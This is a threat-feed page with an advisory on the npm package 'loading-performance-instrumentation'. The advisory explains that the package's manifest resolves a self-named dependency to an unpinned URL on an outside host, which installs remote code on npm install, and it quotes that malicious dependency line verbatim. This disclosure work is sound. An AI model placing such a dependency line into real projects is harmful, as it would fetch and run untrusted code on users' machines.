Threats Tagged 'mal-2026-15539'
View all threats tagged with 'mal-2026-15539'. Filter and sort to focus on specific types of threats.
Stop chasing alerts. Route them.
Start free, then upgrade once to turn Radar into an automated delivery engine for your security stack.
Custom feeds / Automations: email, Slack, webhooks, SIEM/MISP / API access (baseline limits)
API access activates after upgrading in Console -> Billing.
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.
Filter Threats
Narrow down the results by type, severity, or affected countries
Threats Tagged 'mal-2026-15539'
Click on any threat for detailed analysis and mitigation recommendations
Malicious code in loading-performance-instrumentation (npm) 0 --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (27dab9307010475c57195f838ba7d7299fe4a753b92926536aa8376f8d096150) package.json line 11 declares a dependency whose source is a bare URL rather than a registry version range: "loading-performance-instrumentation": "https://repo.securityctrl.com/loading-performance-instrumentation". The dependency key equals the package's own name (dependency-confusion shape). On `npm install`, npm fetches whatever bytes repo.securityctrl.com returns for that path and installs them into node_modules, running any lifecycle scripts contained inside the fetched tarball. There is no version pin, no integrity hash, and no commit SHA — the content at that URL can change at any time. The README frames the package as a placeholder to prevent dependency confusion, but the manifest itself resolves the same name to a third-party host, contradicting that framing. The shipped code in this tarball is an inert stub; the manifest URL is the entire install-time payload path. Join the discussion | GCVE Database | 08/28/2026, 23:16:21 UTC Added: 08/29/2026, 15:16:51 UTC |
Showing 1 to 1 of 1 result